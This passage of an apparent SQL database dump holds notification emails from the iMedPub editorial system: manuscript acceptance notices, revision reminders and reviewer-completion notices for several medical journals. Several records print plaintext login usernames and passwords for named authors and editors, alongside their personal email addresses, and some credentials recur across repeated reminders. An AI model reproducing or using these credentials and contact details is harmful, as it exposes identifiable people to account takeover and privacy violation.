/>\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-09-04',85),(3705,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10340</b><br />\r\n            <br />\r\n            Article Title: <b>Short Note on Medicine</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dogan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dgzeytun@erincan.edu.tr',10340,'2021-09-04',85),(3706,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9753</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge, Attitudes and practices of fourth year nursing students regarding the care of people living with HIV/AIDS (PLWH)</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SIKULO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kmsikulo@gmail.com',9753,'2021-09-04',1045),(3709,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-09-08',85),(3710,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-10012</b><br />\r\n            <br />\r\n            Article Title: <b>A Study of how Hydrotherapy affects the brain and its effectiveness on children with varying levels of Autism Spectrum Disorder</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Manga</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aishwaryamanga3@gmail.com',10012,'2021-09-08',75),(3711,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10190</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing Machine Learning Methods for Predicting Diabetes among Pregnant Women</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shohas</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ashraks97@gmail.com',10190,'2021-09-09',48),(3712,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10263</b><br />\r\n            <br />\r\n            Article Title: <b>THE IMPACT OF AQUATIC PSYCHOMOTRICITY ON MOTOR AND COGNITIVE FUNCTION IN ELDERLY PEOPLE WITH STROKE SEQUELS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dias</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','carold493@gmail.com',10263,'2021-09-09',48),(3713,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10368</b><br />\r\n            <br />\r\n            Article Title: <b>Riesgo de desarrollar Diabetes Mellitus tipo II. San Mat&Atilde;&shy;as, Francisco Moraz&Atilde;&iexcl;n, junio- Julio 2019.&Acirc;&nbsp;</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jhiamluka Zservando Solano Velasquez</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-10368</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',10368,'2021-09-13',85),(3714,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8872</b><br />\r\n            <br />\r\n            Article Title: <b>MICROCEPHALY IN THE MATERNAL-CHILD LIFE CYCLE  </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8872</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',8872,'2021-09-13',85);
INSERT INTO `notifications` VALUES (3717,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9340</b><br />\r\n            <br />\r\n            Article Title: <b>ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOG&Iacute;A, MANIFESTACIONES, DIAGN&Oacute;STICO Y TRATAMIENTO</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Christian Perez Calvo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Loubon</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-9340</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> christian_ortega<br />\r\n            <b>Password:</b> 3QVkU3Gq<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','christlord26@gmail.com',9340,'2021-09-14',274),(3718,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9340</b><br />\r\n            <br />\r\n            Article Title: <b>ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOG&Iacute;A, MANIFESTACIONES, DIAGN&Oacute;STICO Y TRATAMIENTO</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Perez Calvo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','christianperez05@hotmail.com',9340,'2021-09-14',274),(3719,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10346</b><br />\r\n            <br />\r\n            Article Title: <b> Healthcare Workers&acirc;&euro;&trade; Infection Prevention and Control practices during COVID-19 outbreak in a southwest state of Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Isere</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','elvisisere@gmail.com',10346,'2021-09-15',48),(3720,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10308</b><br />\r\n            <br />\r\n            Article Title: <b>Simulating Tele Medicine by The Utilization of Tele-Standardized Patient  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>alsalamah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bmaamss@gmail.com',10308,'2021-09-15',48),(3721,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10299</b><br />\r\n            <br />\r\n            Article Title: <b>Cytokine storm goes hand in hand with prolonged fever in SARS COVID-19: A study on 1324 patients database of past 1 year.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bakhtar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ashwini1niar@gmail.com',10299,'2021-09-15',48),(3722,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10298</b><br />\r\n            <br />\r\n            Article Title: <b>A cross sectional study on Social and Cultural Food Taboos related Barrier in prevention of Anemia in pregnant women of Amravati District, Maharashtra India. </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Deshmukh</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kkneuronresearch@gmail.com',10298,'2021-09-15',48),(3723,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-10252</b><br />\r\n            <br />\r\n            Article Title: <b>Intracranial Primary Castleman Disease, case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>TENA-SUCK</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mltenasuck@gmail.com',10252,'2021-09-16',75),(3724,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10368</b><br />\r\n            <br />\r\n            Article Title: <b>Riesgo de desarrollar Diabetes Mellitus tipo II. San Mat&iacute;as, Francisco Moraz&aacute;n, junio- Julio 2019. </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Solano Velasquez</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-21-10368</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>jhiamluka_zservando</b><br />\r\n            Password : <b>rqNAQm30</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','jhiamv@gmail.com',10368,'2021-09-16',85),(3725,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-09-16',85),(3726,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-09-16',85),(3727,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        